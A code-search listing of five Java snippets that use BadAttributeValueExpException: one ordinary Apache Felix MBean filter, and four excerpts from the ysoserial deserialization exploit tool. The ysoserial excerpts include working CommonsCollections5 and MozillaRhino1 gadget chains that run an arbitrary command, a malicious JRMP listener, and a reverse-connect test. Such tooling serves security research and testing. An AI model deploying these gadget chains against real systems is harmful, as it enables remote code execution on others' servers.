Search in sources :

Example 1 with BadAttributeValueExpException

use of javax.management.BadAttributeValueExpException in project felix by apache.

the class MX4JMBeanServer method filterMBeansByQuery.

/**
 * Filters the given set of ObjectNames following the given QueryExp.
 * Returns a set of ObjectNames that match the given QueryExp.
 */
private Set filterMBeansByQuery(Set scope, QueryExp filter) {
    if (filter == null)
        return scope;
    Set set = new HashSet();
    for (Iterator i = scope.iterator(); i.hasNext(); ) {
        ObjectName name = (ObjectName) i.next();
        filter.setMBeanServer(this);
        try {
            if (filter.apply(name))
                set.add(name);
        } catch (BadStringOperationException ignored) {
        } catch (BadBinaryOpValueExpException ignored) {
        } catch (BadAttributeValueExpException x) {
        } catch (InvalidApplicationException x) {
        } catch (SecurityException x) {
        } catch (Exception x) {
        // The 1.2 spec says Exceptions must not be propagated
        }
    }
    return set;
}
Also used : BadStringOperationException(javax.management.BadStringOperationException) Set(java.util.Set) HashSet(java.util.HashSet) Iterator(java.util.Iterator) InvalidApplicationException(javax.management.InvalidApplicationException) BadAttributeValueExpException(javax.management.BadAttributeValueExpException) IntrospectionException(javax.management.IntrospectionException) OperationsException(javax.management.OperationsException) BadBinaryOpValueExpException(javax.management.BadBinaryOpValueExpException) InstanceAlreadyExistsException(javax.management.InstanceAlreadyExistsException) BadStringOperationException(javax.management.BadStringOperationException) ReflectionException(javax.management.ReflectionException) NotCompliantMBeanException(javax.management.NotCompliantMBeanException) RuntimeErrorException(javax.management.RuntimeErrorException) MalformedObjectNameException(javax.management.MalformedObjectNameException) ListenerNotFoundException(javax.management.ListenerNotFoundException) RuntimeOperationsException(javax.management.RuntimeOperationsException) AttributeNotFoundException(javax.management.AttributeNotFoundException) MBeanRegistrationException(javax.management.MBeanRegistrationException) InstanceNotFoundException(javax.management.InstanceNotFoundException) JMRuntimeException(javax.management.JMRuntimeException) PrivilegedActionException(java.security.PrivilegedActionException) BadAttributeValueExpException(javax.management.BadAttributeValueExpException) IOException(java.io.IOException) ImplementationException(org.apache.felix.mosgi.jmx.agent.mx4j.ImplementationException) InvalidAttributeValueException(javax.management.InvalidAttributeValueException) MBeanException(javax.management.MBeanException) InvalidApplicationException(javax.management.InvalidApplicationException) HashSet(java.util.HashSet) ObjectName(javax.management.ObjectName) BadBinaryOpValueExpException(javax.management.BadBinaryOpValueExpException)

Example 2 with BadAttributeValueExpException

use of javax.management.BadAttributeValueExpException in project ysoserial by frohoff.

the class JRMPListener method doCall.

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                return ObjID[].class;
            } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                return ObjID.class;
            } else if ("java.rmi.server.UID".equals(desc.getName())) {
                return UID.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };
    ObjID read;
    try {
        read = ObjID.read(ois);
    } catch (java.io.IOException e) {
        throw new MarshalException("unable to read objID", e);
    }
    if (read.hashCode() == 2) {
        // method
        ois.readInt();
        // hash
        ois.readLong();
        System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
    }
    System.err.println("Sending return with payload for obj " + read);
    // transport op
    out.writeByte(TransportConstants.Return);
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);
    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);
    oos.flush();
    out.flush();
    this.hadConnection = true;
    synchronized (this.waitLock) {
        this.waitLock.notifyAll();
    }
}
Also used : UID(java.rmi.server.UID) MarshalException(java.rmi.MarshalException) ObjID(java.rmi.server.ObjID) IOException(java.io.IOException) IOException(java.io.IOException) ObjectOutputStream(java.io.ObjectOutputStream) ObjectStreamClass(java.io.ObjectStreamClass) BadAttributeValueExpException(javax.management.BadAttributeValueExpException) ObjectInputStream(java.io.ObjectInputStream)

Example 3 with BadAttributeValueExpException

use of javax.management.BadAttributeValueExpException in project ysoserial by frohoff.

the class MozillaRhino1 method getObject.

public Object getObject(final String command) throws Exception {
    Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
    Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
    nativeErrorConstructor.setAccessible(true);
    IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
    Context context = Context.enter();
    NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
    Method enterMethod = Context.class.getDeclaredMethod("enter");
    NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
    idScriptableObject.setGetterOrSetter("name", 0, method, false);
    Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
    NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
    idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
    Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
    getSlot.setAccessible(true);
    Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
    Field getter = slot.getClass().getDeclaredField("getter");
    getter.setAccessible(true);
    Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
    Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
    memberboxClassConstructor.setAccessible(true);
    Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
    getter.set(slot, memberboxes);
    NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
    idScriptableObject.setPrototype(nativeObject);
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(badAttributeValueExpException, idScriptableObject);
    return badAttributeValueExpException;
}
Also used : Field(java.lang.reflect.Field) Constructor(java.lang.reflect.Constructor) Method(java.lang.reflect.Method) BadAttributeValueExpException(javax.management.BadAttributeValueExpException)

Example 4 with BadAttributeValueExpException

use of javax.management.BadAttributeValueExpException in project ysoserial by frohoff.

the class CommonsCollections5 method getObject.

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return val;
}
Also used : ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) Transformer(org.apache.commons.collections.Transformer) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) TiedMapEntry(org.apache.commons.collections.keyvalue.TiedMapEntry) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer) BadAttributeValueExpException(javax.management.BadAttributeValueExpException) Field(java.lang.reflect.Field) HashMap(java.util.HashMap) LazyMap(org.apache.commons.collections.map.LazyMap) Map(java.util.Map)

Example 5 with BadAttributeValueExpException

use of javax.management.BadAttributeValueExpException in project ysoserial by frohoff.

the class JRMPReverseConnectTest method run.

public void run(Callable<Object> payload) throws Exception {
    JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
    Thread t = new Thread(l, "JRMP listener");
    try {
        t.start();
        try {
            payload.call();
        } catch (Exception e) {
        // ignore
        }
        Assert.assertTrue("Did not have connection", l.waitFor(1000));
    } finally {
        l.close();
        t.interrupt();
        t.join();
    }
}
Also used : JRMPListener(ysoserial.exploit.JRMPListener) BadAttributeValueExpException(javax.management.BadAttributeValueExpException) BadAttributeValueExpException(javax.management.BadAttributeValueExpException)

Aggregations

BadAttributeValueExpException (javax.management.BadAttributeValueExpException)5 IOException (java.io.IOException)2 Field (java.lang.reflect.Field)2 ObjectInputStream (java.io.ObjectInputStream)1 ObjectOutputStream (java.io.ObjectOutputStream)1 ObjectStreamClass (java.io.ObjectStreamClass)1 Constructor (java.lang.reflect.Constructor)1 Method (java.lang.reflect.Method)1 MarshalException (java.rmi.MarshalException)1 ObjID (java.rmi.server.ObjID)1 UID (java.rmi.server.UID)1 PrivilegedActionException (java.security.PrivilegedActionException)1 HashMap (java.util.HashMap)1 HashSet (java.util.HashSet)1 Iterator (java.util.Iterator)1 Map (java.util.Map)1 Set (java.util.Set)1 AttributeNotFoundException (javax.management.AttributeNotFoundException)1 BadBinaryOpValueExpException (javax.management.BadBinaryOpValueExpException)1 BadStringOperationException (javax.management.BadStringOperationException)1